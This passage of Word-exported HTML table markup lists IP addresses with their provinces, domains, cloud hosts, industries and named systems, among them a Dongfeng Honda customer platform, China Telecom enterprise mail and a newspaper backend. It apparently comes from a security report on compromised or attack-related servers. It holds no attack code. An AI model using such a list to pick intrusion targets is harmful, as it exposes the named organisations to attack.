mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">北京市</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"208\" nowrap=\"\" style=\"width:155.95pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">mtghsjy.cn<o:p></o:p></span></p>\n </td>\n <td width=\"114\" nowrap=\"\" style=\"width:85.35pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">阿里云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"85\" style=\"width:63.5pt;border-top:none;border-left:none;border-bottom:\n solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:\n 153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">公共事业</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"340\" nowrap=\"\" style=\"width:9.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"GramE\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">晋中市</span></span><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">煤炭规划设计研究院</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:10.8pt\">\n <td width=\"115\" nowrap=\"\" style=\"width:86.55pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">117.78.18.35<o:p></o:p></span></strong></p>\n </td>\n <td width=\"111\" style=\"width:83.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">北京市</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"208\" nowrap=\"\" style=\"width:155.95pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">pmonline.dongfeng-honda.com<o:p></o:p></span></p>\n </td>\n <td width=\"114\" nowrap=\"\" style=\"width:85.35pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">华为云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"85\" style=\"width:63.5pt;border-top:none;border-left:none;border-bottom:\n solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:\n 153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">工业制造</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"340\" nowrap=\"\" style=\"width:9.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">东风本田客服平台</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:3;height:10.8pt\">\n <td width=\"115\" nowrap=\"\" style=\"width:86.55pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">42.123.76.231<o:p></o:p></span></strong></p>\n </td>\n <td width=\"111\" style=\"width:83.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">内蒙古自治区</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"208\" nowrap=\"\" style=\"width:155.95pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">prt-mail.chinatelecom.cn<span style=\"mso-spacerun:yes\"> </span>mta.chinatelecom.cn<span style=\"mso-spacerun:yes\"> </span>smtpnm04.21cn.net<o:p></o:p></span></p>\n </td>\n <td width=\"114\" nowrap=\"\" style=\"width:85.35pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"GramE\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">电信天翼云</span></span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"85\" style=\"width:63.5pt;border-top:none;border-left:none;border-bottom:\n solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:\n 153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">通信</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"340\" nowrap=\"\" style=\"width:9.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">中国电信企业邮箱</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:4;height:10.8pt\">\n <td width=\"115\" nowrap=\"\" style=\"width:86.55pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">52.131.241.237<o:p></o:p></span></strong></p>\n </td>\n <td width=\"111\" style=\"width:83.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">上海市</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"208\" nowrap=\"\" style=\"width:155.95pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">ivmos.aitport.com<o:p></o:p></span></p>\n </td>\n <td width=\"114\" nowrap=\"\" style=\"width:85.35pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">微软</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">Azure<o:p></o:p></span></p>\n </td>\n <td width=\"85\" style=\"width:63.5pt;border-top:none;border-left:none;border-bottom:\n solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:\n 153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">交通运输</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"340\" nowrap=\"\" style=\"width:9.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">某单位的船舶管理系统</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:5;height:10.8pt\">\n <td width=\"115\" nowrap=\"\" style=\"width:86.55pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">119.23.25.150<o:p></o:p></span></strong></p>\n </td>\n <td width=\"111\" style=\"width:83.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">广东省</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"208\" nowrap=\"\" style=\"width:155.95pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">bg.wbybb.com<o:p></o:p></span></p>\n </td>\n <td width=\"114\" nowrap=\"\" style=\"width:85.35pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">阿里云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"85\" style=\"width:63.5pt;border-top:none;border-left:none;border-bottom:\n solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:\n 153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">媒体</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"340\" nowrap=\"\" style=\"width:9.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">厦门晚报后台管理系统</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:6;height:10.8pt\">\n <td width=\"115\" nowrap=\"\" style=\"width:86.55pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\" style=\"font-size:11.0pt\">47.96.118.225<span style=\"color:black\"><o:p></o:p></span></span></strong></p>\n </td>\n <td width=\"111\" style=\"width:83.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n 